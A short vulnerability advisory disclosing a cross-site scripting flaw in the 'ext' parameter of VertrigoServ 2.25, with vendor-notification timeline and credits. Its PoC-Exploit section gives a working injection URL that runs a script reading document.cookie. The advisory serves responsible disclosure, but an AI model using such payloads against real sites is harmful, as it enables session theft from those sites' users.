Advisory: VertrigoServ 2.25 Cross-Site-Scripting vulnerability Advisory ID: INFOSERVE-ADV2011-11 Author: Stefan Schurtz Contact: security@infoserve.de Affected Software: Successfully tested on VertrigoServ 2.25 Vendor URL: http://vertrigo.sourceforge.net/ Vendor Status: informed ========================== Vulnerability Description ========================== VertrigoServ 2.25 'ext' parameter is prone to a Cross-site-Scripting vulnerability ================== PoC-Exploit ================== http://[target]/inc/extensions.php?mode=extensions&ext='"</script><script>alert(document.cookie)</script> ========= Solution ========= - ==================== Disclosure Timeline ==================== 15-Dec-2011 - informed vendor 16-Dec-2011 - vendor feedback ======== Credits ======== Vulnerabilitiy found and advisory written by the INFOSERVE security team. =========== References =========== http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-11.txt